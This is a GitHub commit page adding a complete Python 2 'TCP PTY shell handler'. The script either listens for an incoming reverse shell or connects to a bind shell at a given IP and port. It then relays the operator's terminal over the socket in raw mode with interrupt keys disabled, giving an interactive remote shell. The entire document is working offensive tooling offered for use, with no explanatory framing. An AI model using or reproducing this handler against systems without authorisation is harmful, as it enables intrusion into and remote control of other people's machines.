Skip to content

Commit 0c85629

Browse files
author
jack
committed
Added TCP PTY shell handler.
1 parent 31cffc8 commit 0c85629

1 file changed

Lines changed: 163 additions & 0 deletions

File tree

tcp_pty_shell_handler.py

Lines changed: 163 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,163 @@
1+
#!/usr/bin/env python2
2+
import termios
3+
import select
4+
import socket
5+
import os
6+
import fcntl
7+
import argparse
8+
9+
class PTY:
10+
def __init__(self, slave=0, pid=os.getpid()):
11+
# apparently python GC's modules before class instances so, here
12+
# we have some hax to ensure we can restore the terminal state.
13+
self.termios, self.fcntl = termios, fcntl
14+
15+
# open our controlling PTY
16+
self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+")
17+
18+
# store our old termios settings so we can restore after
19+
# we are finished
20+
self.oldtermios = termios.tcgetattr(self.pty)
21+
22+
# get the current settings se we can modify them
23+
newattr = termios.tcgetattr(self.pty)
24+
25+
# set the terminal to uncanonical mode and turn off
26+
# input echo.
27+
newattr[3] &= ~termios.ICANON & ~termios.ECHO
28+
29+
# don't handle ^C / ^Z / ^\
30+
newattr[6][termios.VINTR] = '\x00'
31+
newattr[6][termios.VQUIT] = '\x00'
32+
newattr[6][termios.VSUSP] = '\x00'
33+
34+
# set our new attributes
35+
termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr)
36+
37+
# store the old fcntl flags
38+
self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL)
39+
# fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
40+
# make the PTY non-blocking
41+
fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK)
42+
43+
def read(self, size=8192):
44+
return self.pty.read(size)
45+
46+
def write(self, data):
47+
ret = self.pty.write(data)
48+
self.pty.flush()
49+
return ret
50+
51+
def fileno(self):
52+
return self.pty.fileno()
53+
54+
def __del__(self):
55+
# restore the terminal settings on deletion
56+
self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios)
57+
self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags)
58+
59+
class Shell:
60+
def __init__(self, addr, bind=True):
61+
self.bind = bind
62+
self.addr = addr
63+
64+
if self.bind:
65+
self.sock = socket.socket()
66+
self.sock.bind(self.addr)
67+
self.sock.listen(5)
68+
69+
def handle(self, addr=None):
70+
addr = addr or self.addr
71+
if self.bind:
72+
sock, addr = self.sock.accept()
73+
else:
74+
sock = socket.socket()
75+
sock.connect(addr)
76+
77+
# create our PTY
78+
pty = PTY()
79+
80+
# input buffers for the fd's
81+
buffers = [ [ sock, [] ], [ pty, [] ] ]
82+
def buffer_index(fd):
83+
for index, buffer in enumerate(buffers):
84+
if buffer[0] == fd:
85+
return index
86+
87+
readable_fds = [ sock, pty ]
88+
89+
data = " "
90+
# keep going until something deds
91+
while data:
92+
# if any of the fd's need to be written to, add them to the
93+
# writable_fds
94+
writable_fds = []
95+
for buffer in buffers:
96+
if buffer[1]:
97+
writable_fds.append(buffer[0])
98+
99+
r, w, x = select.select(readable_fds, writable_fds, [])
100+
101+
# read from the fd's and store their input in the other fd's buffer
102+
for fd in r:
103+
buffer = buffers[buffer_index(fd) ^ 1][1]
104+
if hasattr(fd, "read"):
105+
data = fd.read(8192)
106+
else:
107+
data = fd.recv(8192)
108+
if data:
109+
buffer.append(data)
110+
111+
# send data from each buffer onto the proper FD
112+
for fd in w:
113+
buffer = buffers[buffer_index(fd)][1]
114+
data = buffer[0]
115+
if hasattr(fd, "write"):
116+
fd.write(data)
117+
else:
118+
fd.send(data)
119+
buffer.remove(data)
120+
121+
# close the socket
122+
sock.close()
123+
124+
if __name__ == "__main__":
125+
# I could do this validation with regex.. but meh.
126+
def AddressString(value):
127+
address = value.split(":")
128+
129+
if len(address) != 2:
130+
raise argparse.ArgumentTypeError("Address must be in format IP:Port.")
131+
132+
if len(address[0].split(".")) != 4:
133+
raise argparse.ArgumentTypeError("Invalid IP length.")
134+
135+
for octet in address[0].split("."):
136+
try:
137+
if int(octet) > 255 or int(octet) < 0:
138+
raise argparse.ArgumentTypeError("Invalid octet in address.")
139+
except ValueError:
140+
raise argparse.ArgumentTypeError("Invalid octet in address.")
141+
142+
try:
143+
address[1] = int(address[1])
144+
if address[1] < 0 or address[1] > 65535:
145+
raise argparse.ArgumentTypeError("Invalid port number")
146+
except ValueError:
147+
raise argparse.ArgumentTypeError("Invalid port number.")
148+
149+
return tuple(address)
150+
151+
parser = argparse.ArgumentParser()
152+
153+
group = parser.add_mutually_exclusive_group(required=True)
154+
group.add_argument("-b", "--bind", help="Reverse shell handler.",
155+
action="store_true")
156+
group.add_argument("-c", "--connect", help="Bind shell handler.",
157+
action="store_true")
158+
parser.add_argument("address", type=AddressString,
159+
help="IP address/port to bind/connect to.")
160+
args = parser.parse_args()
161+
162+
s = Shell(args.address, bind=args.bind)
163+
s.handle()

0 commit comments

Comments
 (0)